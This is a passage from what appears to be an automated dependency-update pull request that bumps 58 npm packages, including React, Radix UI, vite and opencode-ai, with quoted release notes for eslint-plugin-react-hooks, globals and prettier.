tory_url":"https://github.com/getsentry/sentry-electron"},{"name":"electron-updater","old_version":"6.8.3","new_version":"6.8.9","repository_url":"https://github.com/electron-userland/electron-builder"},{"name":"mixpanel","old_version":"0.21.0","new_version":"0.22.0","repository_url":"https://github.com/mixpanel/mixpanel-node"},{"name":"opencode-ai","old_version":"1.14.18","new_version":"1.17.20","repository_url":"https://github.com/anomalyco/opencode"},{"name":"react","old_version":"19.2.5","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"@types/react","old_version":"19.2.14","new_version":"19.2.17","repository_url":"https://github.com/DefinitelyTyped/DefinitelyTyped"},{"name":"react-dom","old_version":"19.2.5","new_version":"19.2.7","repository_url":"https://github.com/facebook/react"},{"name":"semver","old_version":"7.7.4","new_version":"7.8.5","repository_url":"https://github.com/npm/node-semver"},{"name":"undici","old_version":"8.1.0","new_version":"8.7.0","repository_url":"https://github.com/nodejs/undici"},{"name":"@playwright/test","old_version":"1.59.1","new_version":"1.61.1","repository_url":"https://github.com/microsoft/playwright"},{"name":"@vitest/coverage-v8","old_version":"4.1.4","new_version":"4.1.10","repository_url":"https://github.com/vitest-dev/vitest"},{"name":"esbuild","old_version":"0.28.0","new_version":"0.28.1","repository_url":"https://github.com/evanw/esbuild"},{"name":"vite","old_version":"8.0.8","new_version":"8.1.4","repository_url":"https://github.com/vitejs/vite"},{"name":"opencode-darwin-arm64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-darwin-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-darwin-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-arm64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-arm64-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-baseline-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-linux-x64-musl","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-windows-x64","old_version":"1.14.18","new_version":"1.17.20"},{"name":"opencode-windows-x64-baseline","old_version":"1.14.18","new_version":"1.17.20"},{"name":"@radix-ui/react-avatar","old_version":"1.1.11","new_version":"1.2.2","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dialog","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-dropdown-menu","old_version":"2.1.16","new_version":"2.1.20","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-label","old_version":"2.1.8","new_version":"2.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-popover","old_version":"1.1.15","new_version":"1.1.19","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-select","old_version":"2.2.6","new_version":"2.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-separator","old_version":"1.1.8","new_version":"1.1.11","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-slot","old_version":"1.2.4","new_version":"1.3.0","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-switch","old_version":"1.2.6","new_version":"1.3.3","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tabs","old_version":"1.1.13","new_version":"1.1.17","repository_url":"https://github.com/radix-ui/primitives"},{"name":"@radix-ui/react-tooltip","old_version":"1.2.8","new_version":"1.2.12","repository_url":"https://github.com/radix-ui/primitives"},{"name":"framer-motion","old_version":"12.38.0","new_version":"12.42.2","repository_url":"https://github.com/motiondivision/motion"},{"name":"i18next","old_version":"26.0.4","new_version":"26.3.6","repository_url":"https://github.com/i18next/i18next"},{"name":"lucide-react","old_version":"1.8.0","new_version":"1.24.0","repository_url":"https://github.com/lucide-icons/lucide"},{"name":"react-i18next","old_version":"17.0.2","new_version":"17.0.9","repository_url":"https://github.com/i18next/react-i18next"},{"name":"tailwind-merge","old_version":"3.5.0","new_version":"3.6.0","repository_url":"https://github.com/dcastil/tailwind-merge"},{"name":"zustand","old_version":"5.0.12","new_version":"5.0.14","repository_url":"https://github.com/pmndrs/zustand"},{"name":"@tailwindcss/typography","old_version":"0.5.19","new_version":"0.5.20","repository_url":"https://github.com/tailwindlabs/tailwindcss-typography"},{"name":"@vitejs/plugin-react","old_version":"6.0.1","new_version":"6.0.3","repository_url":"https://github.com/vitejs/vite-plugin-react"},{"name":"autoprefixer","old_version":"10.4.27","new_version":"10.5.2","repository_url":"https://github.com/postcss/autoprefixer"},{"name":"jsdom","old_version":"29.0.2","new_version":"29.1.1","repository_url":"https://github.com/jsdom/jsdom"},{"name":"postcss","old_version":"8.5.9","new_version":"8.5.19","repository_url":"https://github.com/postcss/postcss"}],"path":null,"ecosystem":"npm"},"body":"Bumps the npm-minor-patch group with 58 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [eslint-plugin-react-hooks](https://github.com/facebook/react/tree/HEAD/packages/eslint-plugin-react-hooks) | `7.0.1` | `7.1.1` |\n| [globals](https://github.com/sindresorhus/globals) | `17.5.0` | `17.7.0` |\n| [prettier](https://github.com/prettier/prettier) | `3.8.2` | `3.9.5` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.58.1` | `8.64.0` |\n| [wait-on](https://github.com/jeffbski/wait-on) | `9.0.5` | `9.0.10` |\n| [@opencode-ai/sdk](https://github.com/sst/opencode-sdk-js) | `1.14.18` | `1.17.20` |\n| [better-sqlite3](https://github.com/WiseLibs/better-sqlite3) | `12.8.0` | `12.11.1` |\n| [tsx](https://github.com/privatenumber/tsx) | `4.21.0` | `4.23.1` |\n| [vitest](https://github.com/vitest-dev/vitest/tree/HEAD/packages/vitest) | `4.1.4` | `4.1.10` |\n| [@aws-sdk/client-bedrock](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-bedrock) | `3.1029.0` | `3.1086.0` |\n| [@aws-sdk/credential-providers](https://github.com/aws/aws-sdk-js-v3/tree/HEAD/packages/credential-providers) | `3.1029.0` | `3.1086.0` |\n| [@huggingface/transformers](https://github.com/huggingface/transformers.js) | `4.0.1` | `4.2.0` |\n| [@sentry/electron](https://github.com/getsentry/sentry-electron) | `7.11.0` | `7.15.0` |\n| [electron-updater](https://github.com/electron-userland/electron-builder/tree/HEAD/packages/electron-updater) | `6.8.3` | `6.8.9` |\n| [mixpanel](https://github.com/mixpanel/mixpanel-node/tree/HEAD/packages/mixpanel) | `0.21.0` | `0.22.0` |\n| [opencode-ai](https://github.com/anomalyco/opencode) | `1.14.18` | `1.17.20` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.5` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.14` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.5` | `19.2.7` |\n| [semver](https://github.com/npm/node-semver) | `7.7.4` | `7.8.5` |\n| [undici](https://github.com/nodejs/undici) | `8.1.0` | `8.7.0` |\n| [@playwright/test](https://github.com/microsoft/playwright) | `1.59.1` | `1.61.1` |\n| [@vitest/coverage-v8](https://github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-v8) | `4.1.4` | `4.1.10` |\n| [esbuild](https://github.com/evanw/esbuild) | `0.28.0` | `0.28.1` |\n| [vite](https://github.com/vitejs/vite/tree/HEAD/packages/vite) | `8.0.8` | `8.1.4` |\n| opencode-darwin-arm64 | `1.14.18` | `1.17.20` |\n| opencode-darwin-x64 | `1.14.18` | `1.17.20` |\n| opencode-darwin-x64-baseline | `1.14.18` | `1.17.20` |\n| opencode-linux-arm64 | `1.14.18` | `1.17.20` |\n| opencode-linux-arm64-musl | `1.14.18` | `1.17.20` |\n| opencode-linux-x64 | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-baseline | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-baseline-musl | `1.14.18` | `1.17.20` |\n| opencode-linux-x64-musl | `1.14.18` | `1.17.20` |\n| opencode-windows-x64 | `1.14.18` | `1.17.20` |\n| opencode-windows-x64-baseline | `1.14.18` | `1.17.20` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.1.11` | `1.2.2` |\n| [@radix-ui/react-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.8` | `2.1.11` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.2.6` | `2.3.3` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slot](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slot) | `1.2.4` | `1.3.0` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.2.6` | `1.3.3` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [framer-motion](https://github.com/motiondivision/motion) | `12.38.0` | `12.42.2` |\n| [i18next](https://github.com/i18next/i18next) | `26.0.4` | `26.3.6` |\n| [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.8.0` | `1.24.0` |\n| [react-i18next](https://github.com/i18next/react-i18next) | `17.0.2` | `17.0.9` |\n| [tailwind-merge](https://github.com/dcastil/tailwind-merge) | `3.5.0` | `3.6.0` |\n| [zustand](https://github.com/pmndrs/zustand) | `5.0.12` | `5.0.14` |\n| [@tailwindcss/typography](https://github.com/tailwindlabs/tailwindcss-typography) | `0.5.19` | `0.5.20` |\n| [@vitejs/plugin-react](https://github.com/vitejs/vite-plugin-react/tree/HEAD/packages/plugin-react) | `6.0.1` | `6.0.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.27` | `10.5.2` |\n| [jsdom](https://github.com/jsdom/jsdom) | `29.0.2` | `29.1.1` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.9` | `8.5.19` |\n\n\nUpdates `eslint-plugin-react-hooks` from 7.0.1 to 7.1.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/facebook/react/releases\"\u003eeslint-plugin-react-hooks's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eeslint-plugin-react-hooks@7.1.1 (April 17, 2026)\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e 7.1.0 accidentally removed the \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule, causing errors for users who referenced it in their ESLint config. This is now fixed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd deprecated no-op \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule for backwards compatibility. (\u003ca href=\"https://github.com/mofeiZ\"\u003e\u003ccode\u003e@​mofeiZ\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36307\"\u003e#36307\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eeslint-plugin-react-hooks@7.1.0 (April 16, 2026)\u003c/h2\u003e\n\u003cp\u003eThis release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better \u003ccode\u003eset-state-in-effect\u003c/code\u003e detection, improved ref validation, and more helpful error reporting.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd ESLint v10 support. (\u003ca href=\"https://github.com/azat-io\"\u003e\u003ccode\u003e@​azat-io\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35720\"\u003e#35720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip compilation for non-React files to improve performance. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35589\"\u003e#35589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix exhaustive deps bug with Flow type casting. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35691\"\u003e#35691\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003euseEffectEvent\u003c/code\u003e checks in component syntax. (\u003ca href=\"https://github.com/jbrown215\"\u003e\u003ccode\u003e@​jbrown215\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35041\"\u003e#35041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved \u003ccode\u003eset-state-in-effect\u003c/code\u003e validation with fewer false negatives. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35134\"\u003e#35134\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35147\"\u003e#35147\u003c/a\u003e, \u003ca href=\"https://github.com/jackpope\"\u003e\u003ccode\u003e@​jackpope\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35214\"\u003e#35214\u003c/a\u003e, \u003ca href=\"https://github.com/chesnokov-tony\"\u003e\u003ccode\u003e@​chesnokov-tony\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35419\"\u003e#35419\u003c/a\u003e, \u003ca href=\"https://github.com/jsleitor\"\u003e\u003ccode\u003e@​jsleitor\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36107\"\u003e#36107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved ref validation for non-mutating functions and event handler props. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35893\"\u003e#35893\u003c/a\u003e, \u003ca href=\"https://github.com/kolvian\"\u003e\u003ccode\u003e@​kolvian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35062\"\u003e#35062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompiler now reports all errors instead of stopping at the first. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35873\"\u003e#35873\u003c/a\u003e–\u003ca href=\"https://redirect.github.com/facebook/react/pull/35884\"\u003e#35884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved source locations and error display in compiler diagnostics. (\u003ca href=\"https://github.com/nathanmarks\"\u003e\u003ccode\u003e@​nathanmarks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35348\"\u003e#35348\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/34963\"\u003e#34963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/blob/main/packages/eslint-plugin-react-hooks/CHANGELOG.md\"\u003eeslint-plugin-react-hooks's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e7.1.1\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003eNote:\u003c/strong\u003e 7.1.0 accidentally removed the \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule, causing errors for users who referenced it in their ESLint config. This is now fixed.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd deprecated no-op \u003ccode\u003ecomponent-hook-factories\u003c/code\u003e rule for backwards compatibility. (\u003ca href=\"https://github.com/mofeiZ\"\u003e\u003ccode\u003e@​mofeiZ\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36307\"\u003e#36307\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e7.1.0\u003c/h2\u003e\n\u003cp\u003eThis release adds ESLint v10 support, improves performance by skipping compilation for non-React files, and includes compiler lint improvements including better \u003ccode\u003eset-state-in-effect\u003c/code\u003e detection, improved ref validation, and more helpful error reporting.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eAdd ESLint v10 support. (\u003ca href=\"https://github.com/azat-io\"\u003e\u003ccode\u003e@​azat-io\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35720\"\u003e#35720\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSkip compilation for non-React files to improve performance. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35589\"\u003e#35589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix exhaustive deps bug with Flow type casting. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35691\"\u003e#35691\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003euseEffectEvent\u003c/code\u003e checks in component syntax. (\u003ca href=\"https://github.com/jbrown215\"\u003e\u003ccode\u003e@​jbrown215\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35041\"\u003e#35041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved \u003ccode\u003eset-state-in-effect\u003c/code\u003e validation with fewer false negatives. (\u003ca href=\"https://github.com/jorge-cab\"\u003e\u003ccode\u003e@​jorge-cab\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35134\"\u003e#35134\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35147\"\u003e#35147\u003c/a\u003e, \u003ca href=\"https://github.com/jackpope\"\u003e\u003ccode\u003e@​jackpope\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35214\"\u003e#35214\u003c/a\u003e, \u003ca href=\"https://github.com/chesnokov-tony\"\u003e\u003ccode\u003e@​chesnokov-tony\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35419\"\u003e#35419\u003c/a\u003e, \u003ca href=\"https://github.com/jsleitor\"\u003e\u003ccode\u003e@​jsleitor\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/36107\"\u003e#36107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved ref validation for non-mutating functions and event handler props. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35893\"\u003e#35893\u003c/a\u003e, \u003ca href=\"https://github.com/kolvian\"\u003e\u003ccode\u003e@​kolvian\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35062\"\u003e#35062\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCompiler now reports all errors instead of stopping at the first. (\u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35873\"\u003e#35873\u003c/a\u003e–\u003ca href=\"https://redirect.github.com/facebook/react/pull/35884\"\u003e#35884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImproved source locations and error display in compiler diagnostics. (\u003ca href=\"https://github.com/nathanmarks\"\u003e\u003ccode\u003e@​nathanmarks\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/35348\"\u003e#35348\u003c/a\u003e, \u003ca href=\"https://github.com/josephsavona\"\u003e\u003ccode\u003e@​josephsavona\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/facebook/react/pull/34963\"\u003e#34963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/facebook/react/commits/eslint-plugin-react-hooks@7.1.1/packages/eslint-plugin-react-hooks\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `globals` from 17.5.0 to 17.7.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/sindresorhus/globals/releases\"\u003eglobals's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev17.7.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-06-22) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/345\"\u003e#345\u003c/a\u003e)  33b75f9\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.6.0...v17.7.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.6.0...v17.7.0\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev17.6.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdate globals (2026-05-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/343\"\u003e#343\u003c/a\u003e)  00a4dd9\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.5.0...v17.6.0\"\u003ehttps://github.com/sindresorhus/globals/compare/v17.5.0...v17.6.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/a19670cc86c1218e915657c55ea02ba3e7623834\"\u003e\u003ccode\u003ea19670c\u003c/code\u003e\u003c/a\u003e 17.7.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/9611620bad0ea45531ae0261b986ce694374e42c\"\u003e\u003ccode\u003e9611620\u003c/code\u003e\u003c/a\u003e Update actions (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/346\"\u003e#346\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/33b75f9ddeb6f9ddd81251b043667eb8104a8d15\"\u003e\u003ccode\u003e33b75f9\u003c/code\u003e\u003c/a\u003e Update globals (2026-06-22) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/345\"\u003e#345\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/887dd529bde24486b7f9e31d1b2c515df2b7cf5c\"\u003e\u003ccode\u003e887dd52\u003c/code\u003e\u003c/a\u003e Fix build script (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/344\"\u003e#344\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/6b15870f1c08b60b5b57afe45a703d9ed0be39bc\"\u003e\u003ccode\u003e6b15870\u003c/code\u003e\u003c/a\u003e 17.6.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sindresorhus/globals/commit/00a4dd9821830a9b044798120e86b1bb1a54648d\"\u003e\u003ccode\u003e00a4dd9\u003c/code\u003e\u003c/a\u003e Update globals (2026-05-01) (\u003ca href=\"https://redirect.github.com/sindresorhus/globals/issues/343\"\u003e#343\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/sindresorhus/globals/compare/v17.5.0...v17.7.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prettier` from 3.8.2 to 3.9.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prettier/prettier/releases\"\u003eprettier's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.9.5\u003c/h2\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.5/CHANGELOG.md#395\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAngular: Format \u003ccode\u003e@content(name)\u003c/code\u003e -\u0026gt; \u003ccode\u003e@content (name)\u003c/code\u003e to align with other block syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19499\"\u003e#19499\u003c/a\u003e by \u003ca href=\"https://github.com/fisker\"\u003e\u003ccode\u003e@​fisker\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.4/CHANGELOG.md#394\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eMarkdown: Fix unexpected removal of characters in liquid syntax (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19489\"\u003eprettier/prettier#19489\u003c/a\u003e by \u003ca href=\"https://github.com/seiyab\"\u003e\u003ccode\u003e@​seiyab\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTypeScript: Allow decorators to be used with declare on class fields (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19492\"\u003eprettier/prettier#19492\u003c/a\u003e by \u003ca href=\"https://github.com/evoactivity\"\u003e\u003ccode\u003e@​evoactivity\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.3/CHANGELOG.md#393\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eCLI: Fix ignored file has been cached incorrectly (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19483\"\u003e#19483\u003c/a\u003e by \u003ca href=\"https://github.com/kovsu\"\u003e\u003ccode\u003e@​kovsu\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://github.com/prettier/prettier/blob/3.9.1/CHANGELOG.md#391\"\u003eChangelog\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.9.0\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/prettier/prettier/compare/3.8.5...3.9.0\"\u003ediff\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e🔗 \u003ca href=\"https://prettier.io/blog/2026/06/27/3.9.0\"\u003ePrettier 3.9: Major parser upgrades and Formatting improvements\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e3.8.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix Flow variance annotation print (\u003ca href=\"https://redirect.github.com/prettier/prettier/pull/19022\"\u003e#19022\u003c/a\u003e by \u003ca href=\"https://github.com/marcoww6\"\u003e\u003ccode\u003e@​marcoww6\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🔗 \u003ca 